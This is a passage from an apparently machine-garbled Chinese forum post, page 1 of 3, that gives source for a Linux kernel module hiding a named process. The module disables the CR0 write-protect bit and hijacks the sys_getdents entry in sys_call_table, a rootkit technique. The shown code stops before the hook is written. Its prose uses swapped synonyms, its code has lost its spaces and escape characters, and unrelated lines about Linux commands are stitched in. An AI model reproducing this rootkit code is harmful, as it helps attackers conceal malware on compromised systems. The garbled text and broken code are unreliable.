|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
不同版本的Linux命令数量不一样,这里笔者把它们中比较重要的和使用频率最多的命令。
网上良多相似的文章,个中良多示例程序都是在对照老的内核版本上测试过,良多在新的内核下基本没法运转,我搜集了一些相干的材料,并给出一个在linux内核2.6.28(ubuntu9.04)上能够运转的程序代码.比拟其他一些文章,修正以下:
1.增添了两个函数,清CR0的第20位,否则在交换sys_call_table的时分会报段毛病.
unsignedintclear_and_return_cr0(void);
voidsetback_cr0(unsignedintval);
2.针对ubuntu9.04中,ps命令用的体系挪用是sys_getdents,不是sys_getdents64(在suse体系内里用的是sys_getdents64),以是程序中挟制的是sys_getdents的体系挪用.
关于埋没历程的道理,能够检察其他相干文章,次要是经由过程int0x80找sys_call_table的地点.
测试情况:ubuntu9.04内核版本2.6.28
模块代码以下:
/*hideps.c*/
#include<linux/module.h>
#include<linux/kernel.h>
#include<asm/unistd.h>
#include<linux/types.h>
#include<linux/sched.h>
#include<linux/dirent.h>
#include<linux/string.h>
#include<linux/file.h>
#include<linux/fs.h>
#include<linux/list.h>
#include<asm/uaccess.h>
#include<linux/unistd.h>
//#include<sys/stat.h>
//#include<fcntl.h>
#defineCALLOFF100
//利用模块参数来界说必要埋没的历程名
intorig_cr0;
charpsname[10]="looptest";
char*processname=psname;
//module_param(processname,charp,0);
struct{
unsignedshortlimit;
unsignedintbase;
}__attribute__((packed))idtr;
struct{
unsignedshortoff1;
unsignedshortsel;
unsignedcharnone,flags;
unsignedshortoff2;
}__attribute__((packed))*idt;
structlinux_dirent{
unsignedlongd_ino;
unsignedlongd_off;
unsignedshortd_reclen;
chard_name[1];
};
void**sys_call_table;
unsignedintclear_and_return_cr0(void)
{
unsignedintcr0=0;
unsignedintret;
asmvolatile("movl%%cr0,%%eax"
:"=a"(cr0)
);
ret=cr0;
/*clearthe20thbitofCR0,*/
cr0&=0xfffeffff;
asmvolatile("movl%%eax,%%cr0"
:
:"a"(cr0)
);
returnret;
}
voidsetback_cr0(unsignedintval)
{
asmvolatile("movl%%eax,%%cr0"
:
:"a"(val)
);
}
asmlinkagelong(*orig_getdents)(unsignedintfd,
structlinux_dirent__user*dirp,unsignedintcount);
char*findoffset(char*start)
{
char*p;
for(p=start;p<start+CALLOFF;p++)
if(*(p+0)==xff&&*(p+1)==x14&&*(p+2)==x85)
returnp;
returnNULL;
}
intmyatoi(char*str)
{
intres=0;
intmul=1;
</p>123下一页
Linux的常用命令find,察看man文档,初学者一定会觉得太复杂而不原意用,但是你一旦学会就爱不释手。 |
|